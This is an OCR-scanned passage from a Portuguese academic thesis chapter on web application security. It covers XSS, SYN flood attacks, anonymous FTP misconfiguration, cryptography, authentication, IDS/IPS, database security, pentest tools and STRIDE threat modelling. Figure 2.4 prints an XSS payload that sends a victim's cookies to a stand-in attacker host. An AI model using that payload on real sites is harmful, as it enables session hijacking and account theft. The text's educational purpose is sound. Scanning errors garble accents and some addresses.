brechas para possiveis preocupagdes em relacio ao link recebido (BARBOSA, 2018).

Além disso, existem dois tipos de ataques XSS, sdo eles:

» Naio Persistentes (ou baseados em DOM):
E o tipo mais comum de ataque, pois, quando explorado, é utilizado como técnica
de engenharia social. A maneira como é explorada pode ser via parametros de re-
quisi¢ao HyperText Transfer Protocol (HTTP) ou em formuléarios HyperText Markup
Language (HTML). Além disso, a mais conhecida € injecao de cédigo Java Script

em formularios de busca.

s Persistente (ou armazenados):
Nao é tao comum quanto o ataque anterior, mas, por outro lado, é muito mais
devastador. Ela permite que o atacante envie c6digos para o servidor e armazene, se
nao houver validag¢do ou controle de aplicagc@o. Essa falha € comumente encontrada
em féruns, pois € possivel postar partes de codigos para que outros usudrios possam

visualizar.

Existem medidas de seguranca que bloqueiam esse tipo de ataque, nas quais sao adicionadas
pelo administrador da aplicagdo, por exemplo a inclusdo dos cabecgalhos: X-XSS-Protection:
1; mode=block, X-Content-Type-Options: nosniff e Content-Security-Policy: script-src, que
quando setados, bloqueiam o ataque. Segue um exemplo de exploracdo de ataques XSS para

roubar cookies da vitima, (Figura 2.4).

http://site/xss.php?nome=
<script»location="http://ip_atacante/caputura.php?CO0OKIES=
#2bdocument.cookie</script>»”

Figura 2.4 Exemplo de exploracdo da vulnerabilidade de XSS pra capturar cookies.

Conforme mostrado na Figura 2.4, o atacante podera enviar esse /ink para a vitima, caso
ela ndo tenha conhecimentos bésicos de segurancga, poderd clicar no link e seus cookies serao
enviados para o invasor. O problema do invasor obter acesso aos cookies do usudrio € que esse
arquivo de texto armazena dados sensiveis, como login e senha. O resultado é que com acesso a

essas informacdes o atacante podera efetuar ataques de session hijacking (sequestro de sessao).

2.2.3 Ataques de Negacao de servico

Este € um ataque bastante conhecido por deixar os sites sobrecarregados e coloca-los
fora do ar ou limitar o funcionamento das requisi¢des resultando no mau carregamento da pagina,

sendo causado pelo envio de multiplas requisi¢des ao servidor do site.
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H4 dois tipos de ataques: o Denial of Service (DoS) e o Distributed Denial of Service
(DDoS). Ambos tem por objetivo deixar o sistema indisponivel para usudrios legitimos por meio
de diversas requisi¢oes. O ataque DoS, de acordo com CANALTECH (2018) "envolvem apenas
um atacante, sendo um tnico computador a fazer varios pedidos de pacotes para o alvo. Nesse
tipo de ataque, o hacker pode apenas derrubar servidores fracos e computadores comuns com
pouca banda e com baixas especificacdes técnicas."

Enquanto que o ataque DDoS, de acordo com MIRKOVIC; PRIER; REIHER (2002)
sao compostos por fluxos de pacotes de diferentes fontes, os denominados zumbis que sao
controlados por um computador mestre capaz de gerenciar milhdes de computadores. Estes
computadores que sdo controlados estio infectados por um malware que formam uma rede
chamado botnet. Além disso, alguns dispositivos com saidas para internet, como roteadores,
podem ser alvos de hackers e servidos como bot num possivel ataque DDoS.

Um exemplo de ataque de negacdo de servigo € o SYN Flood ou ataque SYN no qual
o atacante envia uma série de requisi¢des SYN objetivando sobrecarregar o servidor. Em uma
conexao Transmission Control Protocol (TCP) o cliente e o servidor trocam mensagens para
estabelecer uma conexdo. Sao trés mensagens: primeiro o cliente manda uma mensagem SYN
para o servidor; o servidor responde com um pacote SYN/ACK, por fim o cliente responde
com um ACK informando que recebeu e assim os dois estdo prontos para trocar informacgdes,

conforme a Figura 2.5

THREE - WAY HANDSHAKE (TCP)

(1) SYN

(2) SYN/ACK
—

(3) ACK

SYN = SYNCHRONIZATION ACK = ACKNOWLEDGEMENT

Figura 2.5 Estabelecimento de conexdo TCP (CLOUDFLARE, 2017)

Para criar um ataque SYN o atacante envia uma série de pacote SYN e o servidor responde
com SYN/ACK, porém o cliente ndo responde que recebeu com o pacote ACK. Assim o servidor
fica a espera de uma resposta resultando na sobrecarga de recursos no servidor (memoria e
processamento) causando a impossibilidade do servico. Segue a Figura 2.6 exemplificando o

ataque.
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Bot Target

Spoofed SYN Packet P
(@ ¢ — P
o Spoofed SYN Packet f\‘

Figura 2.6 Ataque SYN (CLOUDFLARE, 2017)

Diante do apresentado sobre o funcionamento do ataque SYN, € necessdrio explicar
sobre prevencdo de DDoS.Uma ferramente de combate ao DDoS é o Web Application Firewall
(WAF). Este € um firewall mais desenvolvido que cria uma barreira entre a rede interna e internet,
bloqueando e protegendo o sistema de agdes criminosas. Além disso, conforme o autor EVEO
(2018): "O WAF trabalha monitorando, filtrando e bloqueando automaticamente o trafego de
dados potencialmente maliciosos. Além disso, ele também ¢ altamente escaldvel, permitindo a

defini¢cdo de um conjunto de regras para evitar os ataques mais comuns."

2.2.4 Configuracoes de seguranca incorretas

Aplicacdes web precisam de complementos para o seu bom funcionamento. Podem ser
outros servicos, frameworks, bibliotecas de codigos, API, entre outros. Entretanto, muitos desses
complementos ndo sdo confidveis por ndo serem configurados e/ou usados com configuragdo
padrdo ou podem estar desatualizados, abrindo assim, um vetor para uma vulnerabilidade.

Além disso a atualizac¢do das dependéncias € algo importante para evitar novas vulnerabi-
lidades. Para explorar essa falha os invasores comecam com algo, como a exploragcao de senhas
padrdes ou frameworks desatualizados. Existem muitas ferramentas prontas para esse fim, por
exemplo, 0 OWASP-ZAP ja vem instalado com o Kali Linux (distribui¢cdo voltada a testes de
seguranga ) e possibilita encontrar rapidamente falhas em diversos componentes da aplicacao.

Outra ferramenta utilizada tanto para explorar falha quanto para fazer coletas iniciais
na etapa de reconhecimento é o Nmap. Este possui um grande banco de dados com as mais
diversas assinaturas! que possibilita identificar versdes de softwares desatualizados e vulneraveis,
diretérios vulneraveis e diversas varreduras avancadas.

Um exemplo de configuracdo de seguranga incorreta pode ser observada em servicos
File Transfer Protocol (FTP). No servidor FTP, a conta anonymous € habilitada para fazer
download de arquivos remotamente. Algumas das suas funcionalidades sdo bastante conhecidas

e utilizadas, como o uso do servidor FTP para downloads de imagens ISO do sistema operacional

1S40 padrdes de falhas j4 conhecidas e implementadas em alguma ferramenta para detectar de forma automatizada
determinado servico, aplicagdo, entre outros.
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Linux. Entretanto, se o administrador deixar habilitada a conta anonymous e também a permissao
de escrita, o atacante podera se conectar a esse servidor apenas com O USUArio anonymous €
deixar a senha em branco, Além de fazer upload de arquivos maliciosos. A seguir na Figura 2.7

¢ apresentado um exemplo desse tipo de falha:

# Ttp 18.18.2.233 21
Connected to 10.18.2.233.
220 (vsFTPd 2.3.4)
Name (10.18.2.233:root): anonymous
331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.
Using binary mode to transfer
ftp=> I

Figura 2.7 Acessando servidor FTP com usudrio anonymous

2.3 Técnicas de seguranca

Técnicas e tecnologias de seguranga evitam ataques e mitigam vulnerabilidades. O ideal
€ que a segurancga seja considerada ainda na fase do projeto, ou seja, durante a andlise de riscos,
pois ela define solucdes eficazes de prevencdo. Diante disso, nesta Secdo € apresentado as

técnicas de seguranca.

2.3.1 Criptografia

De acordo com BASHARAT; AZAM; MUZAFFAR (2012): "criptografia € o processo
de ocultar ou transformar informac¢des por meio de uma cifra ou cédigo para que se tornem
ilegiveis para todas as outras pessoas, exceto aquelas que possuem uma chave para a informacao.
A informacao codificada resultante é chamada de informacao criptografada".

H4 duas formas de criptografia utilizadas: criptografia simétrica e assimétrica (STAL-
LINGS, 2008).

» Criptografia simétrica: conforme STALLINGS (2008) consiste em transformar um
texto legivel em um texto cifrado sendo a sua criptografia e descriptografia realizada

por meio de uma tunica chave secreta, conforme ilustrado na Figura 2.8.

Basicamente a criptografia simétrica apoia-se em duas técnicas: substitui¢ao no qual
substitui cada elemento do texto legivel para outro elemento e a transposi¢do, em que
os elementos do texto claro sdo reorganizados. Os ataques a criptografia simétrica

se baseiam em ataques de for¢a bruta, a qual consiste na tentativa de testar todas as
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Criptografia Simétrica

Mensagem enviada por Alice Mensagem recebida por Beto

Ganhei na Ganhei na
Megasena Megasena

Texto cifrado

kd9edls Algoritmo

Algoritmo
criptografico criptografico

chave W W chave

Figura 2.8 Criptografia simétrica (SILVA, 2015).

chaves possiveis em um texto cifrado e a criptoandlise que consiste na explorag¢ao de
caracteristicas do algoritmo de criptografia em busca de deduzir um texto especifico

que foi criptografado ou deduzir a chave secreta.

» Criptografia assimétrica: Também conhecida como criptografia de chave publica.
Este criptosistema baseia-se em criptografar e descriptografar um texto usando duas

chaves: uma chave piiblica e outra chave privada, conforme ilustrado na Figura 2.9.
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Mensagem enviada por Alice

Mensagem recebida por Beto
Ganhei na Ganhei na

Megasena Megasena

Texto cifrado

Algoritmo kd9edls Algoritmo
criptografico criptografico
>
chave piblica chave privada
de Beto de Beto

Figura 2.9 Criptografia assimétrica (PENA, 2015).

A criptografia pode ser usada para prover confidencialidade e autenticidade. O cripto-
sistema mais utilizado € o Rivest-Shamir-Adleman (RSA) sendo baseado em fungdes
matemadticas em vez de técnicas de transposicao e substituicdo. Ambas possuem
vantagens e desvantagens. A criptografia simétrica € mais rdpida e exige menos
poder de processamento computacional. Contudo, possui fraquezas de seguranca
no momento de compartilhamento da chave ja que uma Unica chave € utilizada e
pode ser utilizada para criptografar e descriptografar. Enquanto que a criptografia
assimétrica possui algoritmos de encriptacdo mais lentos e exigem maior poder de

processamento devido ao cumprimento da chave que € mais longo.

= Assinatura Digital: é uma tecnologia utilizada para autenticar documentos eletronicos.
Ela funciona da seguinte forma: um cliente acessa um website, entdo o navegador do
usudrio solicita o envio do certificado digitalz. E verificado a validade do certificado,
logo apoés, a chave publica é compartilhada entre cliente e website. Portanto, é
utilizado uma chave publica para criptografar a informagdo e uma chave privada que

cada um deve possui para descriptografar a informacao.

Baseadas nas tecnologias de criptografia simétrica e assimetrica, foi proposto o protocolo SSL
TLS. Este € uma protocolo de seguranca que permite a troca de informacdes entre cliente e
servidor por meio de uma camada adicional de seguranca de criptografia, (Figura 2.10 ). Ele

obedece aos principios de seguranca, como: confidencialidade e integridade, Secdo ( 2.1). A sua

2Certificado digital é um pacote de informacdes que identifica usudrios ou servidores e contém informagdes
como: o nome da organizagdo, a autoridade certificadora, a chave publica, entre outros.
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utilizagdo é identificada pelo cadeado e pela palavra https® na barra de status, conforme a Figura
2.11.
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Figura 2.10 Processo SSL (SECTIGOBR, 2018).

B IR W © hitps://www.google.com.br/:

Figura 2.11 A identificacdo que o site é seguro (CANALTECH, 2010).

2.3.2 Autenticaciao

A autenticacdo trata-se de um processo no qual o usudrio prova quem diz ser que é.
Este processo faz parte de um sistema de seguranca composto de trés elementos: autenticagao,
identificacd@o e autorizacdo que juntos formam o controle de acesso. De acordo com KAY (2000)

o processo de autenticacao pode ser realizado em trés fatores:

= Algo que o usudrio sabe, por exemplo, senhas. Porém de acordo com o autor

MULLER (2016) a utilizacdo de senhas ndo € eficaz, pois os usudrios vém as senhas

SHTTPS é a implementagio do SSL sobre o HTTP, protocolo que faz a internet funcionar (CANALTECH,
2010).
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como dificeis de usar, mais dificeis ainda de lembrar, podendo gerar um certo

incomodo.

= O segundo fator é algo que o usudrio tem. Por exemplo: um token ou um cartdo
chaves. O autor MULLER (2016) explana que os cartdes de chaves possui vantagens
e desvantagens. A vantagem € que ele pode oferecer uma senha complexa sem a
necessidade do usudrio precisar lembrar da senha, porém a principal desvantagem ¢é
que os usudrios tendem a colocar em lugares errados ou esquecem em casa podendo

criar uma oportunidade aos hackers;

» O terceiro fator € algo que o usudrio €. Esta autenticagdo conta com alguma carac-
teristica especifica do usudrio sendo tUnica para cada pessoa, complexa, ndo sendo
facil de roubar e o usudrio ndo consegue perdé-la. Porém, possui um custo de imple-
mentacao mais elevado MULLER (2016). Alguns exemplos sdo: impressao digital,

reconhecimento facial, batimento cardiaco, entre outros.

Os fatores de autenticacio tem limitagdes, possibilitando aos hackers explorar suas vul-
nerabilidades. O ideal € a utiliza¢do da autentica¢do em dois fatores, que consiste na combinagao
de dois ou mais fatores de autentica¢do. O motivo da sua ado¢do é que a autenticacio de um fator
possui pontos fracos que podem ser explorados. Porém ao usar o processo de autenticacdo de
dois fatores torna-se mais dificil de alguém conseguir passar por cima, por exemplo, a aplicagao

de senhas com um ftoken.

2.3.3 Controle de acesso

O controle de acesso € responsavel por gerenciar os usudrios € suas permissoes ao
acessar a aplicacdo e seus conteudos. Trés componentes compdem o controle de acesso, sdo eles:
autenticagdo, identificacdo e autorizac@o. Por meio da autenticagdo o usudrio prova quem diz
ser, ( Secdo 2.3.2), e por meio da autorizagdo, as politicas de controle de acesso podem ser
definidas. Assim, os usudrios terdo acesso adequado aos dados da empresa (CETRIX, 2017).

O controle de acesso funciona da seguinte forma: ¢é identificado as credenciais dos
usudrios, depois ocorre a autentificagdo do usudrio por meio de uma senha ou outros métodos.
ApOs isso, essa técnica autoriza o nivel apropriado de acesso e as agdes permitidas. Dessa forma,
o controle de acesso € capaz de prover seguranga tanto ao usudrio quanto para as aplicacdes que
sO poderdo conceder acesso aos que estejam devidamente autorizados.

Entretanto ha diversos ataques que podem influenciar na eficicia dessa ferramenta. Por
exemplo: o roubo de sessdo *. Este pode ser efetuado com a obtencdo dos cookies do usudrio e o

atacante poderd se autenticar no site, sem que o usudrio saiba.

4Sessdo: De acordo com COSTA et al. (2018), “Uma sessdo é um periodo de tempo acordado em que o estado
conectado do cliente e do servidor é setado.”
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Dentre algumas técnicas para realizar esse ataque esta o session hijacking que é muito
conhecido por capturar os cookies do usudrio e acessar os dados em um ambiente web. Esse
ataque pode ser feito utilizando engenharia social por meio de e-mails falsos contendo informagao
que interessam ao alvo e ao abrir o /ink a vitima pode ter os seus dados de sessdo capturados.

Além disso, em uma aplicag@o vulnerdvel € possivel utilizacao de injecdes de HTML. Este
permite adicionar novos campos, /inks e utilizar programas que ofuscam a URL e, assim, enviar
os e-mails maliciosos aos usudrios. A Secdo 2.2.2 apresenta exemplos de como atacantes podem
utilizar ataques de XSS para roubar cookies da vitima e obter acesso ao sistema se passando por

usudrios legitimos.

2.3.4 Sistema de Deteccao de Intrusao (IDS)

Conforme os autores LIAO et al. (2013), intrusao trata-se de uma tentativa de compro-
meter os trés principios da seguranga: confidencialidade, integridade e disponibilidade, ( Sec@o
(2.1), ou ignorar os mecanismos de seguran¢a do computador ou rede. Deteccdo de intrusdo € o
processo de monitoramento de eventos que ocorrem no sistema ou na rede analisando desvios
que indiquem sinais de invasao.

Explanado esses termos, o Sistema de Detec¢do de Intrusdo (IDS) consiste em um
hardware ou software que automatiza a detec¢do de intrusdo. Ele possui basicamente duas
técnicas (STALLINGS, 2008):

= Deteccio estatistica de anomalia: consiste no estudo das acdes de usudrios legi-
timos por um periodo de tempo. Apds isso, sdo realizados testes estatisticos para
determinar se o comportamento trata-se de uma a¢do de um usudrio legitimo. Ha

dois tipos de deteccao estatistica de anomalia:

» Detec¢do de limiar: consiste na defini¢do de limiares para a frequéncia de

ocorréncia de eventos.

= Deteccdo baseada em perfil: € estabelecido um perfil de usudrio que é

usado para detectar mudangas no comportamento de cada conta de usudrio.

= Deteccoes baseadas em regras: trata-se da definicdo de regras que visa verificar se

determinada acdo € normal:

s Deteccdo de anomalia: regras sdo usadas para detectar desvios .

» Identificacdo de penetragdo: utiliza um sistema especialista que procura

por comportamentos suspeitos.

Em resumo, a detec¢do por estatistica € mais eficaz para ataques mascarados que nao
seguem padrdes de comportamentos. Porém, essa técnica pode ser ineficaz para lidar com
infratores. Para isso, as técnicas de deteccdo baseadas em regras sdo capazes de identificar

desvios. Na prética, um sistema de detec¢do de intrusdo pode combinar as duas técnicas.
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2.3.5 Sistema de Prevencao de Intrusos (IPS)

O Sistema de Prevencdo de Intrusos (IPS) é uma forma de seguranca de rede que trabalha
para detectar e controlar ameacas identificadas. Ele atua analisando os pacotes da rede e tomando
acOes para prevenir invasoes, como: fechando pontos de acesso e configurando firewalls para
evitar ataques futuros.

Nas tecnologias atuais, em geral, essas duas ferramentas IDS e IPS tem sido combinadas
em uma unica unidade. A diferenca entre elas é: o IDS age como uma ferramenta passiva
que monita o trafego na rede e emite alertas aos administradores, enquanto que o IPS € uma
ferramenta ativa que além de monitorar toma medidas préticas com a finalidade de impedir uma
invasao (BERTOLLI, 2018).

O IPS funciona inspecionando em tempo real os pacotes na rede e toma uma das seguintes
acoes (FORCEPOINT, 2012):

s Encerra a sessdo TCP que foi expirada e impede que o usudrio malicioso acesse

qualquer computador ou recurso do sistema;
» Reconfigura o firewall para que outro ataque nao ocorra;

= Remove qualquer vestigio do ataque nos servidores.
O IPS aplica diversas abordagens de prevencdes, nas quais sao (FORCEPOINT, 2012):

» Baseada em assinaturas: utiliza de assinaturas predefinidas de ameacgas conhecidas
na rede. Quando € iniciado um ataque que corresponde a uma dessas assinaturas ou

padrdes as a¢des de prevencdes e controles sdo efetuadas.

» Baseada em anomalias: o sistema monitora qualquer anomalia e realiza bloqueios, se

necessario.

» Baseadas em diretivas: os administradores da rede configuram diretivas de seguranca.

Quando uma dessas diretivas € violada um alerta é emitido aos responsdveis da rede.

2.3.6 Seguranca em banco de dados

Um banco de dados é um local onde as informagdes sdo armazenadas e recuperadas
(ANGELOTTI, 2010). Para a manipulacdo dessas informacOes sdo utilizados os sistemas
gerenciadores de banco de dados que consistem em ferramentas que permitem controlar e
monitorar os dados armazenados.

Porém, com a evolucao da internet e dos ataques, tornou-se necessirio uma atengao
especial aos bancos de dados ja que ele € o local onde estdo localizados informagdes valiosas.
Vale ressaltar que um banco para ser considerado seguro deve obedecer aos trés pilares basicos
de seguranca da informacdo, conforme é mostrado pelo autor MATSUNAGA (2018), na Figura
2.1.
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Os desenvolvedores devem buscar obedecer a esses principios. Em vista disso, sdo apre-
sentados alguns dos riscos de seguranga a banco de dados, conforme a Figura 2.12 (BASHARAT;
AZAM; MUZAFFAR, 2012):
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Figura 2.12 Riscos de seguranca (BASHARAT; AZAM; MUZAFFAR, 2012).

= Abuso de privilégios: ocorre quando um usudrio possui privilégios que lhe dao acesso

as tarefas nao incluidas em seu trabalho;

= Abuso legitimo de privilégios: ocorre quando o usudrio possui privilégios condizentes,
porém ele abusa desses privilégios executando acdes ilicitas ou antiéticas. Um perigo

com relacdo aos administradores de banco de dados;

» Vulnerabilidade na plataforma de banco de dados: vulnerabilidades em sistemas
operacionais onde estejam os bancos de dados por conta de desatualizacdes podem

levar a desastres;

= Auditoria fraca: auséncia de politicas de banco de dados que realizam as gravagdes
das transagdes pode causar riscos sérios, pois a auditoria verifica os requisitos de

seguranca do banco e outros sistemas;
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= Vulnerabilidades no protocolo de comunica¢do com o banco de dados: falhas a
protocolos e comunicagdo pode causar acesso ilegal a dados, exploracdo de dados e

negacao de servigo.

» Autenticacdo fraca: a autenticacdo fraca torna o banco de dado vulnerével a invasores.
O login e senha pode ser roubados ou obtidos por meio de engenharia social e outros
métodos. Em vista disso € notério a necessidade de uma autenticacao que proveja

seguranga ao banco;

» Exposi¢cdo de dados de backup: locais e midias onde sdo armazenados os arquivos de

backup do banco devem ser protegidos de roubos e destruigao.

Para eliminar essas ameacas deve-se pensar em uma politica de seguranca que deve
ser seguida. Uma politica de seguranca deve conter as seguintes dreas criticas, conforme a
Figura 2.13 (BASHARAT; AZAM; MUZAFFAR, 2012):
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Figura 2.13 Areas que devem ser consideradas na politica de seguranca (BASHARAT; AZAM; MUZAF-
FAR, 2012).

= Controle de acesso: o controle de acesso garante que todas as comunicagdes com o
banco de dados e os objetos do sistema estejam de acordo com as politicas definidas.
Isso assegura que nenhuma interferéncia ocorra interna ou externamente € diminui os

riscos nos servidores.
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» Politica de inferéncia: de acordo com TECHOPEDIA (2017), inferéncia é uma
técnica de mineragdo de dados no qual uma pessoa mal intencionada busca encontrar
informagdes ocultas de usudrios cadastrados no banco de dados. Em vista disso, é

necessario uma politica de inferéncia para proteger os dados em determinados niveis.

» Identificagdo / autenticacdo do usudrio: como visto acima a autenticacdo fraca é
um risco de seguranca para os bancos de dados, pois neste encontra-se informacoes
valiosas que ndo devem ser acessadas por qualquer usudrio. Em vista disso, é
necessario uma identificagdo que defina um conjunto de pessoas com permissao
de acesso e uma autenticacdo que verifique os usudrios garantindo seguranca e

confidencialidade.

» Responsabilidade e auditoria: a responsabilidade e auditoria sdo necessérios para
garantir a integridade do banco de dados sendo os dados gerenciados por meio de
auditorias. Também os registro guardados para auditoria sdo tteis na andlise de

informacdes mantidas nos servidores de autenticagdo.

» Criptografia: em um banco de dados deve haver dois niveis de criptografia.

= A criptografia no nivel de armazenamento: criptografa os dados no arma-

zenamento do subsistema.

= A criptografia em nivel de banco de dados: criptografa as linhas, colunas
e tabelas do banco sendo que a chave de criptografia deve ficar disponivel

no servidor para descriptografar os dados

2.4 Ferramentas Utilizadas

Nesta secdo sdo apresentadas as ferramentas comumentemente utilizadas pelos atacantes.
Essas podem variar de acordo com as preferéncias e habilidades do atacante. As ferramentas

utilizadas no teste de intrusao sdo:

» Nmap: é um analisador de redes e servigos que possibilita realizar mapeamento e

buscar falhas. Suas caracteristicas sao:

= Escanear portas abertas;
» Detectar caracteristicas de hardware;

» Executar exploits e testar servigos;

» Curl: € utilizado tanto para desenvolvedores quanto por hackers com o intuito de

testar requisicoes em aplicagdes. Caracteristicas:

n Testar APlIs;
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n Fazer o download de documentos;
= Usar um proxy com ou sem autenticagao;
m Descobrir os cookies armazenados durante um acesso;
s Dirb: é uma ferramenta de crawling®. Ela permite identificar diretdrios e subdire-
térios de aplicagdes, podendo o atacante passar, ou ndo, uma lista de palavras. Por

padrdo a ferramenta ja disponibiliza um diretério com os nomes mais comuns dentro

de arquivos de texto.

» Nikto: é um scanner de vulnerabilidades. Ele tem por objetivo realizar testes em
servigos, aplicacdes e diretérios. Além disso, ele pode encontrar diversos tipos de

arquivos, configuracdes e programas padrdes ou inseguros em servidores web.

» Burp Suite: é uma plataforma de testes para aplicagdes web. Algumas de caracteristi-

cas sao:
» E possifel inspecionar e modificar o trifego entre o navegador e o aplicativo
de destino ( aba proxy ).
= Realizar o rastreamento de conteido dentro de aplicagcdes ( aba spider ).

» Varredura para automatizar a deteccdo de vérios tipos de vulnerabilidade (

aba scanner).

» Realizar diversos ataques para encontrar e explorar vulnerabilidades inco-

muns ( aba intruder).

= Manipular e reenviar pedidos entre o navegador e o aplicativo de destino (

aba repeater) .
» Testar a aleatoriedade de fokens de sessao do sistema ( aba sequencer) .
= Reconhecer e realizar a decodificacdo e codificacio de textos ( aba decoder
).
s Realizar comparacdo entre os dados da aplicagdo ( aba comparer).

n Wireshark: é um analisador de trafego que captura as informacgdes que estao sendo
trafegadas na rede e apresenta de forma detalhada cada pacote de dados capturado.
Caracteristicas:

» Capturar pacotes da rede;
= Realizar mapeamento dos dados trafegados;

s Identificar problemas na rede.

De acordo com (POZZEBOM, 2013) Crawler: "é um software desenvolvido para realizar uma varredura na
internet de maneira sistematica através de informacao vista como relevante a sua funcao."
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n Metasploit: é um projeto de seguranga da informacao. Este € usado para investigar

vulnerabilidades em plataformas, servidores e sistemas operacionais. Caracteristicas:

s Desenvolvimento de exploracdo de vulnerabilidades permitindo descobrir

erros de programacdo que levam a uma brecha na seguranca.

» Analisa preventivamente vulnerabilidades determinando ou tentando de-

terminar de que forma esta podera ser explorada.

2.5 Boas praticas

A confianga em uma aplicacdo web deriva dos profissionais conhecerem a tecnologia
utilizada e da capacidade da equipe gerar um produto de qualidade, sendo a seguranca um dos
pilares de qualidade do software. Diante disso, faz-se necessdrio que os desenvolvedores e
profissionais de seguranga conhe¢am os procedimentos e ferramentas a fim de gerar um software
seguro. A Figura 2.14 demonstra onde esses procedimentos e ferramentas devem ser aplicados
no ciclo de desenvolvimento do software (BRAGA, 2007).
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Figura 2.14 O ciclo de vida de desenvolvimento de software. Mapeando catdlogos de conhecimento de
seguranca de software para vérios artefatos de software e praticas recomendadas de seguranca de software
que demostram como varios catdlogos de conhecimento podem ser aplicados em todo o desenvolvimento.
BARNUM; MCGRAW (2005)
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A Figura 2.14 demonstra que a modelagem de ameacas e os casos € uso € abuso
devem ocorrer na concepgao do software sendo esse documento subsidio para formulagao dos
requisitos de seguranca. A andlise de riscos durante todo o processo de desenvolvimento ajuda na
priorizacdo de solucdes de seguranca. A realizacdo de anélise de c6digo com testes de penetracio
acompanhado da utiliza¢ao de ferramentas, ampara na identificagao de vulnerabilidades. Por
fim, apds esses processos 0 software estard em produgdo e exposto a ataques, o que auxilia
no processo de realimentacdo da modelagem de ameacas e outros documentos ajudando nas

proximas atualizacoes do software. A seguir sdo detalhados cada um dos processos.
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2.5.1 Modelagem de ameacas

Os autores MICHAEL HOWARD (2005) definem modelagem de ameacas como: “um
modelo de ameacas € uma andlise baseada em seguranca que ajuda as pessoas a determinar
os riscos de seguranca mais alto impostos aos produtos e como 0s proprios ataques podem
se manifestar. Tendo por objetivo determinar ameacgas que exigem atenuacgado e solugdes para
atenuar ameacas”.

As etapas de modelagem de ameacas sdo apresentados na Figura 2.15:

Decomponha
o aplicativo

Determine
as ameagcas

Classifique
as ameagas

»| Atenuacdo

Figura 2.15 Etapas da modelagem de ameagas (MICHAEL HOWARD, 2005).

A descri¢do do processo de modelagem de ameagas € apresentado a seguir (MICHAEL HOWARD,
2005):

= Montar a equipe de modelagem das ameacas: ¢ necessario haver uma equipe com
a representacao de um profissional de cada drea, como os analistas de seguranca,
desenvolvedores de front-end e back-end, entre outros. O objetivo das reunides €

procurar ameacas no primeiro momento e depois pensar em solucdes.

= Decompor o aplicativo: nesta fase deve haver a formula¢do de um diagrama de
fluxo de dados para entender os pontos criticos do aplicativo antes de realizar a
andlise de ameacas. Para isso deve ser utilizado técnicas formais de decomposicoes,
como o Diagrama de Fluxo de Dados (DFD) que servem para realizar suposi¢cdes
de dados e estabelecer limites de confianca. PORTALEDUCACAO (2019) define
o DFD como: "Esse modelo descreve o fluxo de informagdes e as transformagdes
que sdo aplicadas a medida que os dados se movimentam da entrada para a saida,

desconsiderando detalhes técnicos como equipamentos a serem utilizados..."

Os DFDs baseiam-se no principio que um aplicativo ou sistema pode ser decomposto

em subsistema e, esses subsistemas decompostos em subsistemas de niveis mais
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baixo, como nivel 0, nivel 1, nivel 2 e assim por diante. A primeira fase tem a
finalidade de determinar o escopo ou limites do aplicativo. Para melhor entendimento
¢ apresentado a simbologia de um diagrama DFD, na Figura 2.16, e um exemplo de

diagrama DFD de um sistema de folha de pagamento, (Figura 2.17).

Um processo
Transforma ou manipula dados.

Mdltiplos processos
Transforma ou manipula dados.

Um armazenamento de dados
Uma localizagéo que armazena
—  dados temporarios ou permanentes.

Limite
e Uma magquina, um limite fisico, um espago
de enderegamento ou limite de confianga.

Ator
Entrada para o sistema.

Dados Fluxo de dados

ﬂm\ Retrata fluxo de dados de armazenamentos
de dados, processos ou atores.

Figura 2.16 Simbologia do diagrama DFD (MICHAEL HOWARD, 2005).
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Figura 2.17 Diagrama DFDs de um sistema de folha de pagamento (MICHAEL HOWARD, 2005).

= Determine as ameacas do sistema: Apds a decomposi¢ao do aplicativo sao iden-
tificados os alvos de ameacas (recursos que podem ser invadidos) para o modelo
de ameacas. Para isso, é necessdrio categorizar as ameacas, podendo-se utilizar
o Spoofing, Tampering with data, Repudiation, Information disclosure, Denial of
Service, Elevation of privilege (STRIDE). O STRIDE é um exemplo de classifica-
¢do de vulnerabilidade de acordo com o efeito, mas também deve ser realizado a

categorizagdo das causas que culminam nos ataques. As categorias sao:

» Spoofing de identidade: refere-se as ameagas que permitem ao invasor
passar-se por outro usudrio ou um servidor mal-intencionado ou um ser-
vidor vélido. Por exemplo: um invasor pode entrar ilegalmente num
sistema e roubar as credenciais de usudrios legitimos para se passar por
eles (MICHAEL HOWARD, 2005).

Adulteracio de dados: envolve a modificagdo mal-intencionada dos dados.
Por exemplo: alteracdes ndo autorizadas no banco de dados.

Repudio: consiste na recusa do usudrio a um ato que ele praticou. Por

exemplo: um usudrio realiza uma operacgdo ilegal em um sistema que



50

REFERENCIAL TEORICO

ndo registra os logs dificultando o encontro da autoria da acdo (MI-
CHAEL HOWARD, 2005).

= Revelacdo de informagdes: envolve a exposi¢do de informacdes para
usudrios que ndo tem direito. Por exemplo: a capacidade de um invasor

ler os dados no trafego da rede.

Negacdo de servico: trata-se de negar um servico a usudrios validos,
por exemplo, um servidor web que fica sobrecarregado e passa a recusar

solicitagdes de usudrios vdlidos, (Se¢cao 2.2.3).

» Elevacdo de privilégios: ocorre quando um usudrio nio - privilegiado
obtém acesso privilegiado e indevido a um sistema. Por exemplo: um com-
putador vulnerdvel pode permitir que o invasor posicione um executavel
que espera a proxima pessoa logar para executar. Se 0 proximo usuario
for um administrador, o executavel serd executado como administrador

culminando em prejuizos.

A Arvore de ameacas é outro método que permite determinar as ameagas mais
precisamente, pois nesse método é possivel identificar ndo s6 os efeitos das ameacas
bem como as causas. Assim, ela permite a identificacdo de possiveis falhas no
hardware e determina questdes de seguranca. A arvore de ameacas descreve o
processo que um invasor faria para comprometer um componente do sistema. Com a
decomposicao do aplicativo torna-se fécil identificar os componentes vulneraveis e as
ameacas. Depois disso, entra a arvore de ameacas que demonstra como isso poderia

se manifestar.

Um exemplo de ameaca no sistema de folha de pagamento citado acima € a revelagao
de informacdes. Um funciondrio poderia visualizar as folhas de pagamentos de outros.
Isso aconteceria se o HyperText Transfer Protocol (HTTP) estivesse desprotegido e
por meio de um sniffer® o funciondrio mal intencionado poderia ler o trafego da rede.

A Figura 2.18 apresenta um exemplo de arvore de ameagas.

®Sniffer ou analisador de pacotes é um software ou um hardware que intercepta o que passa sobre uma rede.
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Ameaca n° 1 Vé dados
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Figura 2.18 Arvore de amegas em um sistema de folha de pagamento (MICHAEL HOWARD, 2005).

s Classificacao das ameacas por risco decrescente: Depois de criar as arvores de
ameacas é preciso priorizar as amegas de maior impacto. Para isso MICHAEL HOWARD
(2005) cita uma maneira simples de calcular o impacto de uma ameaca. E multipli-
cando a criticidade (dano potencial), termo que vai de 1 a 10, pela probabilidade de
ocorréncia da vulnerabilidade. Quanto maior o resultado maior o impacto para o

sistema.
